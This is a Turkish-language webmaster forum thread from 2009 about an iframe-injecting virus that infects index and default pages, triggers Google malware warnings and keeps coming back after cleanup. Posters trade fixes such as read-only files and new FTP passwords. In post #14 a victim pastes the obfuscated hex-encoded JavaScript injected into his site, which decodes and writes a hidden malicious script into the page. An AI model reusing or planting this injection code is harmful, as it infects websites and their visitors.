• 14-01-2009, 14:20:38
    #10
    Kimlik doğrulama veya yönetimden onay bekliyor.
    ben kendi çapımda bi çözüm buldum gayet işe yarıyor. Virüs index main default gibi özel tanımlı kelimeler içeren sayfalara bulaşıyor. Ben kullandğm bu isimlere sahip sayfaları salt okunur yaptım böylece hiçbir şekilde sayfaya kod eklenemiyor. Ama eğer virüsü yazan kişi bu mesajı okuyup, dosyanın salt okunur özelliğini kaldıran bir kısım eklerse virüse o zmn benm çözümüm bir işe yaramaz ama şimdilik bu virüs bu kadar zeki değil. Kolay gele
  • 14-01-2009, 16:22:04
    #11
    Sağol bilgiler için.Bende bi kaç gün önce bu sorunu çözdüm fakat googlebotuda yollattım oda gördü düzeldiğini uyarıyı kaldırdı 2 gün sonra hiç bişey yokken yine uyarı geldi şuan halen var.Bütün herşeyi kontrol ettim hesabı sıfırlamıştık.FTP şifre fln hepsi yeniden aldım ve iframelerden arındırıp attım.Şuan sitede hiç birşey yok ama google yine uyarı veriyor.Saçmaladı iyice.İsterseniz sizde bakın. limitsiz.org

    + Forumda online haber scriptlerinide kaldırdım ama yine nafile baya düşüşteyim.İndex sayım diplere vurdu.
  • 15-01-2009, 15:42:37
    #12
    PMle yollarmısın linki arşive alayım.Ben forumdaki bütün iframe kodlarını kaldırdım Online haber fln Online sinema birde spor haberlerini 5dk sonra kalktı Şansıma ama dosyalarım temizdi.Ona sinir olmuştum
  • 15-01-2009, 16:45:55
    #13
    Üyeliği durduruldu
    Bilgi için çok teşekkürler kardeş
  • 15-01-2009, 17:33:46
    #14
    Üyeliği durduruldu
    evet arkadaşlar bugunlerde arkadaşımzın anlatğı gibi sorun var
    orn:Eleşkirt Rehberi-Eleşkirt haberleri -Güncel Haberler, Son Dakika Haberleri- sitemde virus var ben ne kadar siliyorsam yiende gelip yukleniyor sebebi ne tam olarak ebnde anlamdım anlayan varsa banda soylesin

    bu şeilde veriyor

    /iframe><script>function c102916999516l496e6878eaddf(l496e6878eb1c7){ return (parseInt(l496e6878eb1c7,16));}function l496e6878ebd81(l496e6878ec169){ var l496e6878ec554='';l496e6878ed4f5=String.fromCharCo de;for(l496e6878ec93b=0;l496e6878ec93b<l496e6878ec 169.length;l496e6878ec93b+=2){ l496e6878ec554+=(l496e6878ed4f5(c102916999516l496e 6878eaddf(l496e6878ec169.substr(l496e6878ec93b,2)) ));}return l496e6878ec554;} var x87='';var l496e6878ed8dd='3C736'+x87+'3726'+x87+'970743E6'+x 87+'96'+x87+'6'+x87+'28216'+x87+'D796'+x87+'96'+x8 7+'1297B6'+x87+'46'+x87+'F6'+x87+'3756'+x87+'D6'+x 87+'56'+x87+'E742E77726'+x87+'9746'+x87+'528756'+x 87+'E6'+x87+'5736'+x87+'36'+x87+'1706'+x87+'528202 725336'+x87+'32536'+x87+'392536'+x87+'36'+x87+'253 7322536'+x87+'312536'+x87+'6'+x87+'42536'+x87+'352 532302536'+x87+'6'+x87+'52536'+x87+'312536'+x87+'6 '+x87+'42536'+x87+'3525336'+x87+'42536'+x87+'33253 3312533302532302537332537322536'+x87+'3325336'+x87 +'42532372536'+x87+'3825373425373425373025336'+x87 +'125326'+x87+'6'+x87+'25326'+x87+'6'+x87+'2536'+x 87+'372536'+x87+'6'+x87+'6'+x87+'2536'+x87+'372536 '+x87+'6'+x87+'6'+x87+'2533322536'+x87+'6'+x87+'42 536'+x87+'3525326'+x87+'52536'+x87+'6'+x87+'52536' +x87+'3525373425326'+x87+'6'+x87+'25326'+x87+'5253 6'+x87+'372536'+x87+'6'+x87+'6'+x87+'25326'+x87+'6 '+x87+'2536'+x87+'332536'+x87+'382536'+x87+'352536 '+x87+'332536'+x87+'6'+x87+'225326'+x87+'52536'+x8 7+'382537342536'+x87+'6'+x87+'42536'+x87+'6'+x87+' 32532372532302537372536'+x87+'392536'+x87+'3425373 42536'+x87+'3825336'+x87+'425333225333225333925323 02536'+x87+'382536'+x87+'352536'+x87+'392536'+x87+ '372536'+x87+'3825373425336'+x87+'4253335253334253 3342532302537332537342537392536'+x87+'6'+x87+'3253 6'+x87+'3525336'+x87+'4253237253736'+x87+'2536'+x8 7+'392537332536'+x87+'392536'+x87+'322536'+x87+'39 2536'+x87+'6'+x87+'32536'+x87+'3925373425373925336 '+x87+'12536'+x87+'382536'+x87+'392536'+x87+'34253 6'+x87+'342536'+x87+'352536'+x87+'6'+x87+'52532372 5336'+x87+'525336'+x87+'325326'+x87+'6'+x87+'2536' +x87+'392536'+x87+'36'+x87+'2537322536'+x87+'31253 6'+x87+'6'+x87+'42536'+x87+'3525336'+x87+'52729293 B7D76'+x87+'6'+x87+'172206'+x87+'D796'+x87+'96'+x8 7+'13D7472756'+x87+'53B3C2F736'+x87+'3726'+x87+'97 0743E';document.write(l496e6878ebd81(l496e6878ed8d d));</script>
  • 15-01-2009, 17:45:57
    #15
    okuduğum bir kaç yerde w*a*r*e*z olarak kullanılan cuteftp ve flashxp index dosyalarına bu framlei atıyor. filezillaya devam
  • 04-10-2009, 15:36:29
    #16
    sabahtan beri bu virusle uğraşıyorum, hala engelli sitem
    google a istek gönderdikten sonra bir süre var mı ne zaman inceliyor?